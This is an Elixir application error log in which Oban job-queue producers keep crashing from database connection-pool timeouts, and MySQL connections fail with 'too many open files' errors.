State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:23:06.239121Z], limit: 5, uuid: "e473a441-ca90-4bde-97f8-1842049c5ac9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:06.239127Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.56879>, refresh_timer: #Reference<0.2525715032.1121189889.185611>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:23:18.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 834ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:23:06.238383Z], limit: 10, uuid: "f297618a-fc3a-4d26-a704-3cc3aa2c1b27", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:06.238406Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.56878>, refresh_timer: #Reference<0.2525715032.1121189889.185599>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:23:18.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 810ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:23:06.239725Z], limit: 50, uuid: "58046382-dd2a-4094-8e4b-d43a8149b5de", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:06.239730Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.56880>, refresh_timer: #Reference<0.2525715032.1099431938.56834>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:23:19.880000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:23:24.473000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:23:25.556000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:23:26.283000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:23:29.462000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:23:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2003ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:23:18.240786Z], limit: 5, uuid: "508f3bfb-d875-4cec-8cd4-05ebedd664ed", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:18.240791Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.34884>, refresh_timer: #Reference<0.2525715032.1121189889.185869>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:23:31.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2078ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:23:18.241514Z], limit: 10, uuid: "fbcc69fa-5cb9-4046-9c9b-00c0b96a54f2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:18.241519Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.34882>, refresh_timer: #Reference<0.2525715032.1121189889.185887>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:23:31.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1834ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:23:18.242031Z], limit: 50, uuid: "2a3ebf28-e68d-46db-a883-413e306edc84", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:18.242036Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.34881>, refresh_timer: #Reference<0.2525715032.1077673987.34873>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:23:31.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1862ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:23:18.238729Z], limit: 5, uuid: "f185db82-9625-4ed2-9b6a-0a2ccce63930", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:18.238734Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.34883>, refresh_timer: #Reference<0.2525715032.1121189889.185851>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:23:31.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1870ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:23:18.237726Z], limit: 3, uuid: "f9a717eb-8085-441c-9929-749e288457ec", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:18.237732Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.34885>, refresh_timer: #Reference<0.2525715032.1099431938.56893>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:23:31.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2000ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:23:18.238628Z], limit: 20, uuid: "6e23b7f0-de9d-4764-812e-d3478fe8eb2f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:23:18.238634Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.56933>, refresh_timer: #Reference<0.2525715032.1099431938.56909>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:23:36.296000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:23:37.381000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:23:38.034000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:23:38.283000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:23:38.646000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:23:39.523000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:23:39.647000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:23:39.682000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
